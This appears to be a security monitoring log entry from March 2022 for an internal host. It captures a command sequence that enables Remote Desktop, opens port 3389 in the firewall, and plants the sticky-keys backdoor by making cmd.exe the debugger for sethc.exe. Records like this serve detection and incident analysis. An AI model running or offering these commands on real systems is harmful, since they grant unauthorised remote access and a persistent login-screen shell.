[occurTime]
2022-03-18 16:46:59
2022-03-18 16:47:00
[hostIp]
192.168.0.95
[pCommand]
reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f;netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389;reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server";REG ADD "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" /v Debugger /t REG_SZ /d "C:\\windows\\system32\\cmd.exe" /f ; REG query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"